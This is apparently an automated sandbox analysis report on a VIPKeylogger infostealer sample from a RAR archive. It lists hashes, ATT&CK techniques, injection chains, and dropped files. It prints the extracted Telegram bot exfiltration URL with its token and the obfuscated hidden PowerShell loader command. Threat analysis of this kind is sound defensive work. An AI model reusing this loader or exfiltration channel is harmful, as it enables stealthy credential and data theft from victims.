vipkeylogger | e71a63d388fdcf8ad7fa5b03592fa116469a8a9f1bdcbbcb7aa459665905ff8a

Analysis

max time kernel
108s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-12-2024 07:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PEDIDO161224.rar
Size

1.0MB
MD5

5512e6253667a66d7300cac2b8f51b7f
SHA1

da9659a0350a4d575184c62b47bcfb6618aa4a8d
SHA256

e71a63d388fdcf8ad7fa5b03592fa116469a8a9f1bdcbbcb7aa459665905ff8a
SHA512

fbbc25e11b540de4dd76d6d73863d75bda05f9f32dbb04a8cf101ed480635f066a8fa9812ec8af06d5cdc52d6d211837e136db1c5a0657b092fed364c9f4b9d5
SSDEEP

24576:YaTMjZaerEV0kqXJ+ny3Nyq5loFJKiTlyvytMEGF3Yy:YfjZaGEQJuSyElIJr1G9X

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7668974942:AAFyrHvXMv2uhMX9l0hNEPNVnFxCDfLErLs/sendMessage?chat_id=7295320361

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3636	powershell.exe
3448	powershell.exe
1688	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4136	Untangibility90.exe
1364	Untangibility90.exe
1840	Untangibility90.exe

Loads dropped DLL 3 IoCs

pid	Process
4136	Untangibility90.exe
1364	Untangibility90.exe
1840	Untangibility90.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 15 IoCs

flow	pid	Process
39	2164	msiexec.exe
41	2164	msiexec.exe
43	2164	msiexec.exe
45	2164	msiexec.exe
47	2164	msiexec.exe
53	4556	msiexec.exe
54	4556	msiexec.exe
57	4556	msiexec.exe
59	4556	msiexec.exe
63	4556	msiexec.exe
69	4264	msiexec.exe
70	4264	msiexec.exe
71	4264	msiexec.exe
72	4264	msiexec.exe
73	4264	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
38	drive.google.com
39	drive.google.com
53	drive.google.com
69	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
56	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	Untangibility90.exe
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	Untangibility90.exe
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	Untangibility90.exe

Suspicious use of NtCreateThreadExHideFromDebugger 3 IoCs

pid	Process
2164	msiexec.exe
4556	msiexec.exe
4264	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
3636	powershell.exe
2164	msiexec.exe
3448	powershell.exe
4556	msiexec.exe
1688	powershell.exe
4264	msiexec.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	Untangibility90.exe
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	Untangibility90.exe
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	Untangibility90.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4036	2164	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Untangibility90.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Untangibility90.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Untangibility90.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
2180	7zFM.exe
2180	7zFM.exe
3636	powershell.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
2180	7zFM.exe
2180	7zFM.exe
3448	powershell.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
4556	msiexec.exe
404	taskmgr.exe
404	taskmgr.exe
4556	msiexec.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2180	7zFM.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3636	powershell.exe
3448	powershell.exe
1688	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	2180	7zFM.exe
Token: 35	2180	7zFM.exe
Token: SeSecurityPrivilege	2180	7zFM.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeIncreaseQuotaPrivilege	3636	powershell.exe
Token: SeSecurityPrivilege	3636	powershell.exe
Token: SeTakeOwnershipPrivilege	3636	powershell.exe
Token: SeLoadDriverPrivilege	3636	powershell.exe
Token: SeSystemProfilePrivilege	3636	powershell.exe
Token: SeSystemtimePrivilege	3636	powershell.exe
Token: SeProfSingleProcessPrivilege	3636	powershell.exe
Token: SeIncBasePriorityPrivilege	3636	powershell.exe
Token: SeCreatePagefilePrivilege	3636	powershell.exe
Token: SeBackupPrivilege	3636	powershell.exe
Token: SeRestorePrivilege	3636	powershell.exe
Token: SeShutdownPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeSystemEnvironmentPrivilege	3636	powershell.exe
Token: SeRemoteShutdownPrivilege	3636	powershell.exe
Token: SeUndockPrivilege	3636	powershell.exe
Token: SeManageVolumePrivilege	3636	powershell.exe
Token: 33	3636	powershell.exe
Token: 34	3636	powershell.exe
Token: 35	3636	powershell.exe
Token: 36	3636	powershell.exe
Token: SeSecurityPrivilege	2180	7zFM.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeDebugPrivilege	404	taskmgr.exe
Token: SeSystemProfilePrivilege	404	taskmgr.exe
Token: SeCreateGlobalPrivilege	404	taskmgr.exe
Token: SeDebugPrivilege	4556	msiexec.exe
Token: SeSecurityPrivilege	2180	7zFM.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeIncreaseQuotaPrivilege	1688	powershell.exe
Token: SeSecurityPrivilege	1688	powershell.exe
Token: SeTakeOwnershipPrivilege	1688	powershell.exe
Token: SeLoadDriverPrivilege	1688	powershell.exe
Token: SeSystemProfilePrivilege	1688	powershell.exe
Token: SeSystemtimePrivilege	1688	powershell.exe
Token: SeProfSingleProcessPrivilege	1688	powershell.exe
Token: SeIncBasePriorityPrivilege	1688	powershell.exe
Token: SeCreatePagefilePrivilege	1688	powershell.exe
Token: SeBackupPrivilege	1688	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
2180	7zFM.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
2180	7zFM.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe
404	taskmgr.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 4136	2180	7zFM.exe	90
PID 2180 wrote to memory of 4136	2180	7zFM.exe	90
PID 2180 wrote to memory of 4136	2180	7zFM.exe	90
PID 4136 wrote to memory of 3636	4136	Untangibility90.exe	98
PID 4136 wrote to memory of 3636	4136	Untangibility90.exe	98
PID 4136 wrote to memory of 3636	4136	Untangibility90.exe	98
PID 3636 wrote to memory of 2164	3636	powershell.exe	100
PID 3636 wrote to memory of 2164	3636	powershell.exe	100
PID 3636 wrote to memory of 2164	3636	powershell.exe	100
PID 3636 wrote to memory of 2164	3636	powershell.exe	100
PID 2180 wrote to memory of 1364	2180	7zFM.exe	105
PID 2180 wrote to memory of 1364	2180	7zFM.exe	105
PID 2180 wrote to memory of 1364	2180	7zFM.exe	105
PID 1364 wrote to memory of 3448	1364	Untangibility90.exe	110
PID 1364 wrote to memory of 3448	1364	Untangibility90.exe	110
PID 1364 wrote to memory of 3448	1364	Untangibility90.exe	110
PID 3448 wrote to memory of 4556	3448	powershell.exe	115
PID 3448 wrote to memory of 4556	3448	powershell.exe	115
PID 3448 wrote to memory of 4556	3448	powershell.exe	115
PID 3448 wrote to memory of 4556	3448	powershell.exe	115
PID 2180 wrote to memory of 1840	2180	7zFM.exe	119
PID 2180 wrote to memory of 1840	2180	7zFM.exe	119
PID 2180 wrote to memory of 1840	2180	7zFM.exe	119
PID 1840 wrote to memory of 1688	1840	Untangibility90.exe	120
PID 1840 wrote to memory of 1688	1840	Untangibility90.exe	120
PID 1840 wrote to memory of 1688	1840	Untangibility90.exe	120
PID 1688 wrote to memory of 4264	1688	powershell.exe	122
PID 1688 wrote to memory of 4264	1688	powershell.exe	122
PID 1688 wrote to memory of 4264	1688	powershell.exe	122
PID 1688 wrote to memory of 4264	1688	powershell.exe	122

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\PEDIDO161224.rar"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Users\Admin\AppData\Local\Temp\7zO4888CAF7\Untangibility90.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO4888CAF7\Untangibility90.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      4⤵
      Blocklisted process makes network request
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:2164
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2164 -s 2036
        5⤵
        Program crash
        
        PID:4036
- C:\Users\Admin\AppData\Local\Temp\7zO48822168\Untangibility90.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO48822168\Untangibility90.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Blocklisted process makes network request
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:4556
- C:\Users\Admin\AppData\Local\Temp\7zO4882C5C8\Untangibility90.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO4882C5C8\Untangibility90.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      4⤵
      Blocklisted process makes network request
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:4264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2164 -ip 2164
1⤵
PID:2160

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199

Filesize
854B

MD5
e935bc5762068caf3e24a2683b1b8a88

SHA1
82b70eb774c0756837fe8d7acbfeec05ecbf5463

SHA256
a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d

SHA512
bed4f6f5357b37662623f1f8afed1a3ebf3810630b2206a0292052a2e754af9dcfe34ee15c289e3d797a8f33330e47c14cbefbc702f74028557ace29bf855f9e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
26b5315f2d024ec72f40b8f6e4bc6921

SHA1
4df47200fb3dd360b51b414b33b5d312a44ee854

SHA256
39d970c30950b3d39084bdaaed06d918dee269b93607fa50d6fe347d918ed42b

SHA512
d96c368d82d100d4177770d6ac669bbc1970a35c152d436984a742e9cc599b6a57679a31b784a6f4b8cfde136344c540746d92b31871147fae02e778bedaa6ec

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6DA548C7E5915679F87E910D6581DEF1_19CA6F55DA8A3B0AB12F649B745C90D5

Filesize
471B

MD5
d9dcaae5de8dfa9cf132624acf223b8a

SHA1
6b0e1d55835c60449c8c388db617e4ad15a76eb0

SHA256
eb778dde639e01ccf0382588543dd8a66e0d5ab50e6eacccc8061e2fbb9c7af1

SHA512
6da54270c811d63772077e2fe3db9509670e83dce648a21aef6d67d5045efd15498bbb3a3cc89af0e06df4258611adf78075528d7b26ecdcf1f5f9a4a064ec7b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C02877841121CC45139CB51404116B25_6F7C58D8F5DC37AD0C4A3BEB81BE1660

Filesize
472B

MD5
355240feb933616cc0cf7532ab23ab8b

SHA1
c32bcfc016e72802534e5785acb355741506726f

SHA256
eee9ae5339f6868f8b94c4bf587939b60245d191585ad573950748c60989b7fe

SHA512
b5c19459ec9c5ea4fa40b893b7ba7137042d68528fd82befe149c1d0691c0004fec38be7962c48c3e867cf0b5f2dd4de932842909e2691d7c35b97021aa9ef79

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199

Filesize
170B

MD5
2ce7b9a15a89cfc531969326cda9cca6

SHA1
856038d84fa7ede144d5ef2b1c53df1c504a59d4

SHA256
494ff4264092d09b6ec2130764292e7dd87d483c628858d904a327a83544845e

SHA512
36a4d13b0a619194578847210d8d33e9c432cd3761b039a42abefaabae9789f904a811798c763374b9a0e62def218c522000e88d180ce361d1a7faea34668ad3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
9e03cb715d5d630f64e6aca4176d13d5

SHA1
907b58024abe4515707b1bf8f520ee425665c6fe

SHA256
9ec57d1af431874fbf1e320321b59994e2748a963322affaa5c116bfb030fddf

SHA512
190297da72f58776e706bcfd445e988de51031d53a02d158318b4f87fe8f26a2333289524fb7bb9369d4a979c47840e9059eb54219bfec437d930c27264845fe

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6DA548C7E5915679F87E910D6581DEF1_19CA6F55DA8A3B0AB12F649B745C90D5

Filesize
402B

MD5
4fecebb9dfbc0928bfa72877dceb3d52

SHA1
3d777d3493dc0fa6a45b40facb458905eb1dc96a

SHA256
073eaf683afcd959ba2b758cf2273adb635f68476254e4cbc4e3ac12b81e1101

SHA512
8bfc4993df0c8e4b9ba60dc9e6743c0bb0ec032fdac0497133417fb56dcd2e57f06c83bab7042ad279512d4b4d06fda75abfd5343ae5b553787c776c2fb4b3a0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C02877841121CC45139CB51404116B25_6F7C58D8F5DC37AD0C4A3BEB81BE1660

Filesize
398B

MD5
6b2b9aca88a24c06b17e8a919e3e135e

SHA1
5f6c63899c4fb89a6add591e87376dfa2831ffc7

SHA256
4fd505cf92d9149224c971bd239383148621b868af1c3d73d5261e0a6af1ff16

SHA512
3d2570ef61869b94a45bea29aba547af9ebd39bded05bab40a9502a8a804d37916001aa7a91d4b60575096d708c48b0536fa9a01e90531277a29cdb6ea0f7986

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zO4888CAF7\Untangibility90.exe

Filesize
1.1MB

MD5
343b6d84d887fc6f42e259c22ddce824

SHA1
e7423cd8620ecb4dee9e1781386c1d0273bcd373

SHA256
dd5ae442b593e4611d93ddcf5606f20ea4686a9d63b46f546a7f86bd1785d41b

SHA512
1b697bd0446b44c05fc2cea0ea073476486c8f754797c714a6dc4578267dcc8a23243c0c65b9a7cd603a0b3bbf4cd5c995aae75cddd9759f69cb3d28e9785852

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qmrwglus.535.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224

Filesize
74KB

MD5
4208643fc8d9783f1b2e17ca3deeee0f

SHA1
2ad1b4267f8474a46d6db4b3730a8d0d3ba61ff6

SHA256
ef1f9e0ba387a0c17b6df3d877f4d11210795a511cb8b4c402a3ede617a3c14f

SHA512
455e00b2c8810a1fd600c983b13f8207e4d3c7325cea185717f493cc59b4df2285b745cd9b48ed05bce1a8f15474c77aacc70fdc70ef04f485e084d9818431c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Suberised111.Med

Filesize
339KB

MD5
002c9ad83d194cb8cb694abff1c3d622

SHA1
8da382e12583ce84ee86d8ab07aaae37881379e0

SHA256
9f8ba35b79484641d11e46016e90301419c59300b30c7adf0556eae34e29c63c

SHA512
50c5465801e77eabb14b39a9cf101d45d23598b9a76d4253ab6ffa0e660bf16c75b5f26402092fa6ea0ff7504165b8f1ce6b26063c5381ab2e890ea3d4645845

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsqEED5.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/404-137-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-140-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-132-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-131-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-130-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB
